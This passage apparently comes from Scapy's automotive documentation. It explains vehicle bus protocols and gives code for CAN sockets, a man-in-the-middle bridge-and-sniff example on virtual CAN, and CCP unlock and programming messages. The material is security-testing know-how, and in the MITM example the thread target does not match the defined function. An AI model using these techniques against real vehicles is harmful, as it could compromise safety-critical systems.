|\n+----------------------+----------------------+--------------------------------------------------------+\n\n\n********************\nTechnical Background\n********************\n\nParts this section were published in a study report [10]_.\n\nPhysical Protocols\n==================\n\nMore than 20 different communication protocols exist for the vehicle’s internal wired communication. Most vehicles make use of five to ten different protocols for their internal communication. The decision which communication protocol is used from an Original Equipment Manufacturer (OEM) is usually made by the trade-off between the costs for communication technology and the final car price. The four major communication technologies for inter-ECU communication are Controller Area Network (CAN), FlexRay, Local Interconnect Network (LIN), and Automotive Ethernet. For security considerations, these are the most relevant protocols for wired communication in vehicles.\n\nLIN\n---\nLIN is a single wire communication protocol for low data rates. Actuators and sensors of a vehicle exchange information with an ECU, acting as a LIN master. Software updates over LIN are possible, but the LIN slaves usually do not need software updates because of their limited functionality.\n\nCAN\n---\nCAN is by far the most used communication technology for inter-ECU communication in vehicles. In older or cheaper vehicles, CAN is still the primary protocol for a vehicle’s backbone communication. Safety-critical communication during a vehicle’s operation, diagnostic information, and software updates are transferred between ECUs over CAN. The lack of security features in the protocol itself, combined with the general use, makes CAN the primary protocol for security investigations.\n\nFlexRay\n-------\nThe FlexRay consortium designed FlexRay as a successor of CAN. Modern vehicles have higher demands on communication bandwidth. By design, FlexRay is a fast and reliable communication protocol for inter-ECU communication. FlexRay components are more expensive than CAN components, leading to a more selective use by OEMs.\n\nAutomotive Ethernet\n-------------------\nRecent upper-class vehicles implement Automotive Ethernet, the new backbone technology for internal vehicle communication. The rapidly grown bandwidth demands already replace FlexRay. The primary reasons for these demands are driver-assistant and autonomous-driving features. Only the physical layer (layer 1) of the Open Systems Interconnection (OSI) model distinguishes Ethernet (IEEE 802.3) from Automotive Ethernet (BroadR-Reach). This design decision leads to multiple advantages. For example, communication stacks of operating systems can be used without modification and routing, filtering, and firewall systems. Automotive Ethernet components are already cheaper than FlexRay components, which will lead to vehicle topologies, where CAN and Automotive Ethernet are the most used communication protocols.\n\nTopologies\n==========\n\nLine-Bus\n--------\n\n.. _fig-line-bus:\n\n.. figure:: ../graphics/automotive/Simple-CAN-Bus-.png\n\n        Line-Bus network topology\n\nThe first vehicles with CAN bus used a single network with a line-bus topology. Some lower-priced vehicles still use one or two shared CAN bus networks for their internal communication nowadays. The downside of this topology is its vulnerability and the lack of network separation. All ECUs of a vehicle are connected on a shared bus. Since CAN does not support security features from its protocol definition, any participant on this bus can communicate directly with all other participants, which allows an attacker to affect all ECUs, even safety-critical ones, by compromising one single ECU. The overall security level of this network is given from the security level of the weakest participant.\n\nCentral Gateway\n---------------\n\n.. _fig-cgw:\n\n.. figure:: ../graphics/automotive/ZGW-CAN-Bus-.png\n\n        Network topology with central GW ECU\n\nThe central Gateway (GW) topology can be found in higher-priced older cars and medium-priced to lower-priced recent cars. A centralized GW ECU separates domain-specific sub-networks. This allows an OEM to encapsulate all ECUs with remote attack surfaces in one sub-network. ECUs with safety-critical functionalities are located in an individual CAN network. Next to CAN, FlexRay might also be used as a communication protocol inside a separate network domain. The security of a safety-critical network in this topology depends mainly on the central GW ECU’s security. This architecture increases the overall security level of a vehicle through domain separation. After an attacker successfully exploited an ECU through an arbitrary attack surface, a second exploitable vulnerability or a logical bug is necessary to compromise a different domain, a safety-critical network, inside a vehicle. This second exploit or logical bug is necessary to overcome the network separation of the central GW ECU.\n\nCentral Gateway and Domain Controller\n-------------------------------------\n\n.. _fig-dc:\n\n.. figure:: ../graphics/automotive/DC-ZGW-CAN-Bus-.png\n\n        Network topology with Automotive-Ethernet backbone and DC\n\nA new topology with central GW and Domain Controllers (DCs) can be found in the latest higher-priced vehicles. The increasing demand for bandwidth in modern vehicles with autonomous driving and driver assistant features led to this topology. An Automotive Ethernet network is used as a communication backbone for the entire vehicle. Individual domains, connected through a DC with the central GW, form the vehicle’s backbone. The individual DCs can control and regulate the data communication between a domain and the vehicle’s backbone. This topology achieves a very-high security level through a strong network separation with individual DCs, acting as gateway and firewall, to the vehicle’s backbone network. OEMs have the advantage of dynamic information routing next to this security improvement, an enabler for Feature on Demand (FoD) services.\n\nAutomotive Communication Protocols\n==================================\n\nThis section provides an overview of relevant communication protocols for security evaluations in automotive networks. In contrast to section \"Physical Protocols\", this section focuses on properties for data communication.\n\nCAN\n---\n\nThe CAN communication technology was invented in 1983 as a message-based robust vehicle bus communication system. The Robert Bosch GmbH designed multiple communication features into the CAN standard to achieve a robust and computation efficient protocol for controller area networks. Remarkable for the communication behavior of CAN is the internal state machine for transmission errors. This state machine implements a fail silent behavior to protect a safety-critical network from babbling idiot nodes. If a specific limit of reception errors (REC) or transmission errors (TEC) occurred, the CAN driver changes its state from error-active to error-passive and finally to bus-off.\n\n.. _fig-can-bus-states:\n\n.. figure:: ../graphics/automotive/can-bus-states.png\n\n        CAN bus states on transmission errors. Receive Error Counter (REC), Transmit Error Counter (TEC)\n\nIn recent years, this protocol specification was abused for Denial of Service (DoS) attacks and information gathering attacks on the CAN network of a vehicle. Cho et al. demonstrated a DoS attack against CAN networks by abusing the bus-off state of ECUs [1]_. Injections of communication errors in CAN frames of one specific node caused a high transmission error count in the node under attack, forcing the attacked node to enter the bus-off state. In 2019 Kulandaivel et al. combined this attack with statistical analysis to achieve a fast and inexpensive network mapping in vehicular networks [2]_. They combined statistical analysis of the CAN network traffic before and after the bus-off attack was applied to a node. All missing CAN frames in the network traffic after an ECU was attacked could now be mapped to the ECU under attack, helping researchers identify the origin ECU of a CAN frame. Ken Tindell published a comprehensive summary of low level attacks on CANs in 2019 [3]_.\n\n.. _fig-can-full-frame:\n\n.. figure:: ../graphics/automotive/CAN-full-frame.jpg\n\n        Complete CAN data frame structure [9]_\n\nThe above figure shows a CAN frame and its fields as it is transferred over the network. For information exchange, only the fields arbitration, control, and data are relevant. These are the only fields to which a usual application software has access. All other fields are evaluated on a hardware-layer and, in most cases, are not forwarded to an application. The data field has a variable length and can hold up to eight bytes. The length of the data field is specified by the data length code inside the control field. Important variations of this example are CAN-frames with extended arbitration fields and the Controller Area Network Flexible Data-Rate (CAN FD) protocol. On Linux, every received CAN frame is passed to SocketCAN. SocketCAN allows the CAN handling via network sockets of the operating system. SocketCAN was created by Oliver Hartkopp and added to the Linux Kernel version 2.6.25 [4]_. Figure 2.7 shows the frame structure, how CAN frames are encoded if a user-land application receives data from a CAN socket.\n\n.. _fig-can-socket-frame:\n\n.. figure:: ../graphics/automotive/can-frame-socket-can.png\n\n        CAN frame defined by SocketCAN\n\nThe comparison of above figures clearly shows the loss of information during the CAN frame processing from a physical layer driver. Almost every CAN driver acts in the same way, whether an application code runs on a microcontroller or a Linux kernel. This also means that a standard application does not have access to the Cyclic Redundancy Check (CRC) field, the acknowledgment bit, or the end-of-frame field.\n\nThrough the CAN communication in a vehicle or a separated domain, ECUs exchange sensor-data and control inputs; this data is mainly not secured and can be modified by assailants. Attackers can easily spoof sensor values on a CAN bus to trigger malicious reactions of other ECUs. Miller and Valasek described this spoofing attack during their studies on automotive networks [5]_. To prevent attacks on safety-critical data transferred over CAN, Automotive Open System Architecture (AUTOSAR) released a secure onboard communication specification [6]_.\n\nISO-TP (ISO 15765-2)\n--------------------\n\nThe CAN protocol supports only eight bytes of data. Use-cases like diagnostic operations or ECU programming require much higher payloads than the CAN protocol supports. For these purposes, the automotive industry standardized the Transport Layer (ISO-TP) (ISO 15765-2) protocol [7]_. ISO-TP is a transportation layer protocol on top of CAN. Payloads with up to 4095 bytes can be transferred between ISO-TP endpoints fragmented in CAN frames. The ISO-TP protocol handling requires four special frame types.\n\n.. _fig-isotp-flow:\n\n.. figure:: ../graphics/automotive/isotp-flow.png\n\n        ISO-TP fragmented communication\n\nThe different types of ISO-TP frames are shown in the following figure. The payload of a CAN frame gets replaced by one of the four ISO-TP frames. The individual ISO-TP frames have different purposes. A single frame can transfer between 1 and 7 bytes of ISO-TP message data. The len field of a Single Frame or a First Frame indicates the ISO-TP message length. Every message with more than 7 bytes of payload data must be fragmented into a First Frame, followed by multiple Consecutive Frames. This communication is illustrated in the above figure. After the First Frame is sent from a sender, the receiver has to communicate its reception capabilities through a Flow Control Frame to the sender. Only after this Flow Control Frame is received, the sender is allowed to communicate the Consecutive Frames according to the receiver’s capabilities.\n\n.. _fig-isotp-frames:\n\n.. figure:: ../graphics/automotive/isotp-frames.png\n\n        ISO-TP frame types\n\nISO-TP acts as a transport protocol with the support of directed communication through addressing mechanisms. In vehicles, ISO-TP is mainly used as a transport protocol for diagnostic communication. In rare cases, ISO-TP is also used to exchange larger data between ECUs of a vehicle. Security measures have to be applied to the application layer protocol transported through ISO-TP since ISO-TP has no capabilities to secure its transported data.\n\nDoIP\n----\n\nDiagnostic over IP (DoIP) was first implemented on automotive networks with a centralized gateway topology. A centralized GW functions as a DoIP endpoint that routes diagnostic messages to the desired network, allowing manufacturers to program or diagnose multiple ECUs in parallel. Since the Internet Protocol (IP) communication between a repair-shop tester and the GW is many times faster than the communication between the GW ECU and a target ECU connected over CAN, the remaining bandwidth of the IP communication can be used to start further DoIP connections to other ECUs in different CAN domains. DoIP is specified as part of AUTOSAR and in ISO 13400-2. Similar to ISO-TP, DoIP does not specify special security measures. The responsibility regarding secured communication is delegated to the application layer protocol.\n\nDiagnostic Protocols\n--------------------\n\nTwo examples of diagnostic protocols are General Motor Local Area Network (GMLAN) and Unified Diagnostic Service (UDS) (ISO 14229-2). The General Motors Cooperation uses GMLAN. German OEMs mainly use UDS. Both protocols are very similar from a specification point of view, and both protocols use either ISO-TP or DoIP messages for a directed communication with a target ECU. Since different OEMs use UDS, every manufacturer adds its custom additions to the standard. Also, every manufacturer uses individual ISO-TP addressing for the directed communication with an ECU. GMLAN includes more precise definitions about ECU addressing and an ECUs internal behavior compared to UDS.\n\nUDS and GMLAN follow a tree-like message structure, where the first byte identifies the service. Every service is answered by a response. Two types of responses are defined in the standard. Negative responses are indicated through the service 0x7F. Positive responses are identified by the request service identifier incremented with 0x40.\n\n.. _fig-diag-stack:\n\n.. figure:: ../graphics/automotive/diag-stack.png\n\n        Automotive Diagnostic Protocol Stack\n\nA clear separation between the transport and the application layer allows creating application layer tools for both network stacks. The figure above provides an overview of relevant protocols and the corresponding layers. UDS defines a clean separation between application and transport layer. On CAN based networks, ISO-TP is used for this purpose. The CAN protocol can be treated as the network access protocol. This allows to replace ISO-TP and CAN with DoIP or HSFZ and Ethernet. The GMLAN protocol combines transport and application layer specifications very similar to ISO-TP and UDS. Because of that similarity, identical application layer-specific scan techniques can be applied. To overcome the bandwidth limitations of CAN, the latest vehicle architectures use an Ethernet-based diagnostic protocol (DoIP, HSFZ) to communicate with a central gateway ECU. The central gateway ECU routes application layer packets from an Ethernet-based network to a CAN based vehicle internal network. In general, the diagnostic functions of all ECUs in a vehicle can be accessed from the OBD connector over UDSonCAN or UDSonIP.\n\nSOME/IP\n-------\n\nScalable service-Oriented MiddlewarE over IP (SOME/IP) defines a new philosophy of data communication in automotive networks. SOME/IP is used to exchange data between network domain controllers in the latest vehicle networks. SOME/IP supports subscription and notification mechanisms, allowing domain controllers to dynamically subscribe to data provided by another domain controller dependent on the vehicle’s state. SOME/IP transports data between domain controllers and the gateway that a vehicle needs during its regular operation. The use-cases of SOME/IP are similar to the use-cases of CAN communication. The main purpose is the information exchange of sensor and actuator data between ECUs. This usage emphasizes SOME/IP communication as a rewarding target for cyber-attacks.\n\nCCP/XCP\n-------\n\nUniversal Measurement and Calibration Protocol (XCP), the CAN Calibration Protocol (CCP) successor, is a calibration protocol for automotive systems, standardized by ASAM e.V. in 2003. The primary usage of XCP is during the testing and calibration phase of ECU or vehicle development. CCP is designed for use on CAN. No message in CCP exceeds the 8-byte limitation of CAN. To overcome this restriction, XCP was designed to aim for compatibility with a wide range of transport protocols. XCP can be used on top of CAN, CAN FD, Serial Peripheral Interface (SPI), Ethernet, Universal Serial Bus (USB), and FlexRay. The features of CCP and XCP are very similar; however, XCP has a larger functional scope and optimizations for data efficiency.\n\nBoth protocols have a session-based communication procedure and support authentication through seed and key mechanisms between a master and multiple slave nodes. A master node is typically an engineering Personal Computer (PC). In vehicles, slave nodes are ECUs for configuration. XCP also supports simulation. A vehicle engineer can debug a MATLAB Simulink model through XCP. In this case, the simulated model acts as the XCP slave node. CCP and XCP can read and write to the memory of an ECU. Another main feature is data acquisition. Both protocols support a procedure that allows an engineer to configure a so-called data acquisition list with memory addresses of interest. All memory specified in such a list will be read periodically and be broadcast in a CCP or XCP Data Acquisition (DAQ) packet on the chosen communication channel. The following figure gives an overview of all supported communication and packet types in XCP. In the Command Transfer Object (CTO) area, all communication follows a request and response procedure always initiated by the XCP master. A Command Packet (CMD) can receive a Command Response Packet (RES), an Error (ERR) packet, an Event Packet (EV), or a Service Request Packet (SERV) as a response. After the configuration of a slave through CTO CMDs, a slave can listen for Stimulation (STIM) packets and periodically send configured DAQ packets. The resources section in the following figure indicates the possible attack surfaces of this protocol (Programming (PGM), Calibration (CAL), DAQ, STIM) which an attacker could abuse. It is crucial for a vehicle’s security and safety that such protocols, which have their use only during calibration and development of a vehicle, are disabled or removed before a vehicle is shipped to a customer.\n\n.. _fig-xcp-reference:\n\n.. figure:: ../graphics/automotive/XCP_ReferenceBook.png\n\n        XCP communication model between XCP Master and XCP Slave. This model shows the communication direction for CTO/Data Transfer Object (DTO) packages [8]_.\n\n**References**\n\n.. [1] Kyong-Tak Cho and Kang G. Shin. Error handling of in-vehicle networks makes them vulnerable. In Proceedings of the 2016 ACM SIGSAC Conference on Computer and Communications Security, CCS ’16, page 1044–1055, New York, NY, USA, 2016. Association for Computing Machinery.\n\n.. [2] Sekar Kulandaivel, Tushar Goyal, Arnav Kumar Agrawal, and Vyas Sekar. Canvas: Fast and inexpensive automotive network mapping. In 28th USENIX Security Symposium (USENIX Security 19), pages 389–405, Santa Clara, CA, August 2019. USENIX Association.\n\n.. [3] Ken Tindell. CAN Bus Security - Attacks on CAN bus and their mitigations, 2019. https://canislabs.com/wp-content/uploads/2020/12/2020-02-14-White-Paper-CAN-Security.pdf\n\n.. [4] Oliver Hartkopp. Readme file for the Controller Area Network Protocol Family (aka SocketCAN), 2020 (accessed January 29, 2020). https://www.kernel.org/doc/Documentation/networking/can.txt\n\n.. [5] Dr. Charlie Miller and Chris Valasek. Adventures in Automotive Networks and Control Units. DEF CON 21 Hacking Conference. Las Vegas, NV: DEF CON, August 2013. http://illmatics.com/car_hacking.pdf (accessed 2020-05-27)\n\n.. [6] AUTOSAR. Specification of Secure Onboard Communication, 2020 (accessed January 31, 2020). https://www.autosar.org/fileadmin/user_upload/standards/classic/4-3/AUTOSAR_SWS_SecureOnboardCommunication.pdf\n\n.. [7] ISO Central Secretary. Road vehicles – Diagnostic communication over Controller Area Network (DoCAN) – Part 2: Transport protocol and network layer services. Standard ISO 15765-2:2016, International Organization for Standardization, Geneva, CH, 2016.\n\n.. [8] Vector Informatik GmbH. XCP – The Standard Protocol for ECU Development. Vector Informatik GmbH, 2020 (accessed January 30, 2020). https://assets.vector.com/cms/content/application-areas/ecu-calibration/xcp/XCP_ReferenceBook_V3.0_EN.pdf\n\n.. [9] Pico Technology Ltd. Complete CAN data frame structure, 2020 (accessed February 14, 2020). https://www.picotech.com/images/uploads/library/topics/_med/CAN-full-frame.jpg\n\n.. [10] Nils Weiss. Security Testing in Safety-Critical Networks. PhD Study Report. http://www.kiv.zcu.cz/site/documents/verejne/vyzkum/publikace/technicke-zpravy/2020/Rigo_Weiss_2020_2.pdf\n\n\n******\nLayers\n******\n\n.. note:: **ATTENTION**: Animations below might be outdated.\n\nCAN\n===\n\nHow-To\n------\n\nSend and receive a message over Linux SocketCAN::\n\n   load_layer(\"can\")\n   load_contrib('cansocket')\n\n   socket = CANSocket(channel='can0')\n   packet = CAN(identifier=0x123, data=b'01020304')\n\n   socket.send(packet)\n   rx_packet = socket.recv()\n\n   socket.sr1(packet, timeout=1)\n\nSend and receive a message over a Vector CAN-Interface::\n\n   load_layer(\"can\")\n   conf.contribs['CANSocket'] = {'use-python-can' : True}\n   load_contrib('cansocket')\n\n   socket = CANSocket(bustype='vector', channel=0, bitrate=1000000)\n   packet = CAN(identifier=0x123, data=b'01020304')\n\n   socket.send(packet)\n   rx_packet = socket.recv()\n\n   socket.sr1(packet)\n\n\nCAN Frame\n---------\n\nBasic information about CAN can be found here: https://en.wikipedia.org/wiki/CAN_bus\n\nThe following examples assume that CAN layer in your Scapy session is loaded.\nIf it isn't, the CAN layer can be loaded with this command in your Scapy session::\n\n    >>> load_layer(\"can\")\n\nCreation of a standard CAN frame::\n\n    >>> frame = CAN(identifier=0x200, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08')\n\nCreation of an extended CAN frame::\n\n   frame = CAN(flags='extended', identifier=0x10010000, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08')\n   >>> frame.show()\n   ###[ CAN ]###\n     flags= extended\n     identifier= 0x10010000\n     length= 8\n     reserved= 0\n     data= '\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'\n\n\n.. image:: ../graphics/animations/animation-scapy-canframe.svg\n\n\nCAN Frame in- and export\n------------------------\n\nCAN Frames can be written to and read from ``pcap`` files::\n\n   x = CAN(identifier=0x7ff,length=8,data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08')\n   wrpcap('/tmp/scapyPcapTest.pcap', x, append=False)\n   y = rdpcap('/tmp/scapyPcapTest.pcap', 1)\n\n.. image:: ../graphics/animations/animation-scapy-rdpcap.svg\n\nAdditionally CAN Frames can be imported from ``candump`` output and log files.\nThe ``CandumpReader`` class can be used in the same way as a ``socket`` object.\nThis allows you to use ``sniff`` and other functions from Scapy::\n\n    with CandumpReader(\"candump.log\") as sock:\n        can_msgs = sniff(count=50, opened_socket=sock)\n\n.. image:: ../graphics/animations/animation-scapy-rdcandump.svg\n\n\nDBC File Format and CAN Signals\n-------------------------------\n\nIn order to support the DBC file format, ``SignalFields`` and the ``SignalPacket``\nclasses were added to Scapy. ``SignalFields`` should only be used inside a ``SignalPacket``.\nMultiplexer fields (MUX) can be created through ``ConditionalFields``. The following\nexample demonstrates the usage::\n\n    DBC Example:\n\n    BO_ 4 muxTestFrame: 7 TEST_ECU\n     SG_ myMuxer M : 53|3@1+ (1,0) [0|0] \"\"  CCL_TEST\n     SG_ muxSig4 m0 : 25|7@1- (1,0) [0|0] \"\"  CCL_TEST\n     SG_ muxSig3 m0 : 16|9@1+ (1,0) [0|0] \"\"  CCL_TEST\n     SG_ muxSig2 m0 : 15|8@0- (1,0) [0|0] \"\"  CCL_TEST\n     SG_ muxSig1 m0 : 0|8@1- (1,0) [0|0] \"\"  CCL_TEST\n     SG_ muxSig5 m1 : 22|7@1- (0.01,0) [0|0] \"\"  CCL_TEST\n     SG_ muxSig6 m1 : 32|9@1+ (2,10) [0|0] \"mV\"  CCL_TEST\n     SG_ muxSig7 m1 : 2|8@0- (0.5,0) [0|0] \"\"  CCL_TEST\n     SG_ muxSig8 m1 : 0|6@1- (10,0) [0|0] \"\"  CCL_TEST\n     SG_ muxSig9 : 40|8@1- (100,-5) [0|0] \"V\"  CCL_TEST\n\n    BO_ 3 testFrameFloat: 8 TEST_ECU\n     SG_ floatSignal2 : 32|32@1- (1,0) [0|0] \"\"  CCL_TEST\n     SG_ floatSignal1 : 7|32@0- (1,0) [0|0] \"\"  CCL_TEST\n\nScapy implementation of this DBC description::\n\n    class muxTestFrame(SignalPacket):\n        fields_desc = [\n            LEUnsignedSignalField(\"myMuxer\", default=0, start=53, size=3),\n            ConditionalField(LESignedSignalField(\"muxSig4\", default=0, start=25, size=7), lambda p: p.myMuxer == 0),\n            ConditionalField(LEUnsignedSignalField(\"muxSig3\", default=0, start=16, size=9), lambda p: p.myMuxer == 0),\n            ConditionalField(BESignedSignalField(\"muxSig2\", default=0, start=15, size=8), lambda p: p.myMuxer == 0),\n            ConditionalField(LESignedSignalField(\"muxSig1\", default=0, start=0, size=8), lambda p: p.myMuxer == 0),\n            ConditionalField(LESignedSignalField(\"muxSig5\", default=0, start=22, size=7, scaling=0.01), lambda p: p.myMuxer == 1),\n            ConditionalField(LEUnsignedSignalField(\"muxSig6\", default=0, start=32, size=9, scaling=2, offset=10, unit=\"mV\"), lambda p: p.myMuxer == 1),\n            ConditionalField(BESignedSignalField(\"muxSig7\", default=0, start=2, size=8, scaling=0.5), lambda p: p.myMuxer == 1),\n            ConditionalField(LESignedSignalField(\"muxSig8\", default=0, start=3, size=3, scaling=10), lambda p: p.myMuxer == 1),\n            LESignedSignalField(\"muxSig9\", default=0, start=41, size=7, scaling=100, offset=-5, unit=\"V\"),\n        ]\n\n    class testFrameFloat(SignalPacket):\n        fields_desc = [\n            LEFloatSignalField(\"floatSignal2\", default=0, start=32),\n            BEFloatSignalField(\"floatSignal1\", default=0, start=7)\n        ]\n\n    bind_layers(SignalHeader, muxTestFrame, identifier=0x123)\n    bind_layers(SignalHeader, testFrameFloat, identifier=0x321)\n\n    dbc_sock = CANSocket(\"can0\", basecls=SignalHeader)\n\n    pkt = SignalHeader()/testFrameFloat(floatSignal2=3.4)\n\n    dbc_sock.send(pkt)\n\nThis example uses the class ``SignalHeader`` as header. The payload is specified by individual ``SignalPackets``.\n``bind_layers`` combines the header with the payload dependent on the CAN identifier.\nIf you want to directly receive ``SignalPackets`` from your ``CANSocket``, provide the parameter ``basecls`` to\nthe ``init`` function of your ``CANSocket``.\n\nCanmatrix supports the creation of Scapy files from DBC or AUTOSAR XML files https://github.com/ebroecker/canmatrix\n\n\nCANSockets\n==========\n\nLinux SocketCAN\n---------------\n\nThis subsection summarizes some basics about Linux SocketCAN. An excellent overview\nfrom Oliver Hartkopp can be found here: https://wiki.automotivelinux.org/_media/agl-distro/agl2017-socketcan-print.pdf\n\nVirtual CAN Setup\n^^^^^^^^^^^^^^^^^\n\nLinux SocketCAN supports virtual CAN interfaces. These interfaces are an easy way\nto do some first steps on a CAN-Bus without the requirement of special hardware.\nBesides that, virtual CAN interfaces are heavily used in Scapy unit tests for\nautomotive-related contributions.\n\nVirtual CAN sockets require a special Linux kernel module. The following shell command loads the required module::\n\n    sudo modprobe vcan\n\nIn order to use a virtual CAN interface some additional commands for setup are required.\nThis snippet chooses the name ``vcan0`` for the virtual CAN interface. Any name can be chosen here::\n\n    sudo ip link add name vcan0 type vcan\n    sudo ip link set dev vcan0 up\n\nThe same commands can be executed from Scapy like this::\n\n   from scapy.layers.can import *\n   import os\n\n   bashCommand = \"/bin/bash -c 'sudo modprobe vcan; sudo ip link add name vcan0 type vcan; sudo ip link set dev vcan0 up'\"\n   os.system(bashCommand)\n\nIf it's required, a CAN interface can be set into a ``listen-only`` or ``loopback`` mode with ``ip link set`` commands::\n\n   ip link set vcan0 type can help  # shows additional information\n\n\nLinux can-utils\n^^^^^^^^^^^^^^^\n\nAs part of Linux SocketCAN, some very useful command line tools are provided from\nOliver Hartkopp: https://github.com/linux-can/can-utils\n\nThe following example shows the basic functions of Linux can-utils. These utilities\nare very handy for quick checks, dumping, sending, or logging of CAN messages\nfrom the command line.\n\n.. image:: ../graphics/animations/animation-cansend.svg\n\nScapy CANSocket\n---------------\n\nIn Scapy, two kind of CANSockets are implemented. One implementation is called **Native CANSocket**,\nthe other implementation is called **Python-can CANSocket**.\n\nSince Python 3 supports ``PF_CAN`` sockets, **Native CANSockets** can be used on a\nLinux based system with Python 3 or higher. These sockets have a performance advantage\nbecause ``select`` is callable on them. This has a big effect in MITM scenarios.\n\nFor compatibility reasons, **Python-can CANSockets** were added to Scapy.\nOn Windows or OSX and on all systems without Python 3, CAN buses can be accessed\nthrough ``python-can``. ``python-can`` needs to be installed on the system: https://github.com/hardbyte/python-can/\n**Python-can CANSockets** are a wrapper of python-can interface objects for Scapy.\nBoth CANSockets provide the same API which makes them exchangeable under most conditions.\nNevertheless some unique behaviours of each CANSocket type has to be respected.\nSome CAN-interfaces, like Vector hardware is only supported on Windows.\nThese interfaces can be used through **Python-can CANSockets**.\n\nNative CANSocket\n^^^^^^^^^^^^^^^^\n\nCreating a simple native CANSocket::\n\n   conf.contribs['CANSocket'] = {'use-python-can': False} #(default)\n   load_contrib('cansocket')\n\n   # Simple Socket\n   socket = CANSocket(channel=\"vcan0\")\n\nCreating a native CANSocket only listen for messages with Id == 0x200::\n\n   socket = CANSocket(channel=\"vcan0\", can_filters=[{'can_id': 0x200, 'can_mask': 0x7FF}])\n\nCreating a native CANSocket only listen for messages with Id >= 0x200 and Id <= 0x2ff::\n\n   socket = CANSocket(channel=\"vcan0\", can_filters=[{'can_id': 0x200, 'can_mask': 0x700}])\n\nCreating a native CANSocket only listen for messages with Id != 0x200::\n\n   socket = CANSocket(channel=\"vcan0\", can_filters=[{'can_id': 0x200 | CAN_INV_FILTER, 'can_mask': 0x7FF}])\n\nCreating a native CANSocket with multiple can_filters::\n\n   socket = CANSocket(channel='vcan0', can_filters=[{'can_id': 0x200, 'can_mask': 0x7ff},\n                                                  {'can_id': 0x400, 'can_mask': 0x7ff},\n                                                  {'can_id': 0x600, 'can_mask': 0x7ff},\n                                                  {'can_id': 0x7ff, 'can_mask': 0x7ff}])\n\nCreating a native CANSocket which also receives its own messages::\n\n   socket = CANSocket(channel=\"vcan0\", receive_own_messages=True)\n\n.. image:: ../graphics/animations/animation-scapy-native-cansocket.svg\n\nSniff on a CANSocket:\n\n.. image:: ../graphics/animations/animation-scapy-cansockets-sniff.svg\n\n\nCANSocket python-can\n^^^^^^^^^^^^^^^^^^^^\n\npython-can is required to use various CAN-interfaces on Windows, OSX or Linux.\nThe python-can library is used through a CANSocket object. To create a python-can\nCANSocket object, all parameters of a python-can ``interface.Bus`` object has to \nbe used for the initialization of the CANSocket.\n\nWays of creating a python-can CANSocket::\n\n   conf.contribs['CANSocket'] = {'use-python-can': True}\n   load_contrib('cansocket')\n\nCreating a simple python-can CANSocket::\n\n   socket = CANSocket(bustype='socketcan', channel='vcan0', bitrate=250000)\n\nCreating a python-can CANSocket with multiple filters::\n\n   socket = CANSocket(bustype='socketcan', channel='vcan0', bitrate=250000,\n                   can_filters=[{'can_id': 0x200, 'can_mask': 0x7ff},\n                               {'can_id': 0x400, 'can_mask': 0x7ff},\n                               {'can_id': 0x600, 'can_mask': 0x7ff},\n                               {'can_id': 0x7ff, 'can_mask': 0x7ff}])\n\nFor further details on python-can check: https://python-can.readthedocs.io/\n\nCANSocket MITM attack with bridge and sniff\n^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\nThis example shows how to use bridge and sniff on virtual CAN interfaces.\nFor real world applications, use real CAN interfaces.\nSet up two vcans on Linux terminal::\n\n   sudo modprobe vcan\n   sudo ip link add name vcan0 type vcan\n   sudo ip link add name vcan1 type vcan\n   sudo ip link set dev vcan0 up\n   sudo ip link set dev vcan1 up\n\nImport modules::\n\n   import threading\n   load_contrib('cansocket')\n   load_layer(\"can\")\n\nCreate can sockets for attack::\n\n   socket0 = CANSocket(channel='vcan0')\n   socket1 = CANSocket(channel='vcan1')\n\nCreate a function to send packet with threading::\n\n   def sendPacket():\n       sleep(0.2)\n       socket0.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'))\n\nCreate a function for forwarding or change packets::\n\n   def forwarding(pkt):\n       return pkt\n\nCreate a function to bridge and sniff between two sockets::\n\n   def bridge():\n       bSocket0 = CANSocket(channel='vcan0')\n       bSocket1 = CANSocket(channel='vcan1')\n       bridge_and_sniff(if1=bSocket0, if2=bSocket1, xfrm12=forwarding, xfrm21=forwarding, timeout=1)\n       bSocket0.close()\n       bSocket1.close()\n\nCreate threads for sending packet and to bridge and sniff::\n\n   threadBridge = threading.Thread(target=bridge)\n   threadSender = threading.Thread(target=sendMessage)\n\nStart the threads::\n\n   threadBridge.start()\n   threadSender.start()\n\nSniff packets::\n\n   packets = socket1.sniff(timeout=0.3)\n\nClose the sockets::\n\n   socket0.close()\n   socket1.close()\n\n.. image:: ../graphics/animations/animation-scapy-cansockets-mitm.svg\n.. image:: ../graphics/animations/animation-scapy-cansockets-mitm2.svg\n\nCAN Calibration Protocol (CCP)\n==============================\n\nCCP is derived from CAN. The CAN-header is part of a CCP frame. CCP has two types\nof message objects. One is called Command Receive Object (CRO), the other is called\nData Transmission Object (DTO). Usually CROs are sent to an Ecu, and DTOs are received\nfrom an Ecu. The information, if one DTO answers a CRO is implemented through a counter\nfield (ctr). If both objects have the same counter value, the payload of a DTO object\ncan be interpreted from the command of the associated CRO object.\n\nCreating a CRO message::\n\n    load_contrib('automotive.ccp')\n    CCP(identifier=0x700)/CRO(ctr=1)/CONNECT(station_address=0x02)\n    CCP(identifier=0x711)/CRO(ctr=2)/GET_SEED(resource=2)\n    CCP(identifier=0x711)/CRO(ctr=3)/UNLOCK(key=b\"123456\")\n\nIf we aren't interested in the DTO of an Ecu, we can just send a CRO message like this:\nSending a CRO message::\n\n    pkt = CCP(identifier=0x700)/CRO(ctr=1)/CONNECT(station_address=0x02)\n    sock = CANSocket(bustype='socketcan', channel='vcan0')\n    sock.send(pkt)\n\nIf we are interested in the DTO of an Ecu, we need to set the basecls parameter of the\nCANSocket to CCP and we need to use sr1:\nSending a CRO message::\n\n    cro = CCP(identifier=0x700)/CRO(ctr=0x53)/PROGRAM_6(data=b\"\\x10\\x11\\x12\\x10\\x11\\x12\")\n    sock = CANSocket(bustype='socketcan', channel='vcan0', basecls=CCP)\n    dto = sock.sr1(cro)\n    dto.show()\n    ###[ CAN Calibration Protocol ]###\n      flags=\n      identifier= 0x700\n      length= 8\n      reserved= 0\n    ###[ DTO ]###\n         packet_id= 0xff\n         return_code= acknowledge / no error\n         ctr= 83\n    ###[ PROGRAM_6_DTO ]###\n            MTA0_extension= 2\n            MTA0_address= 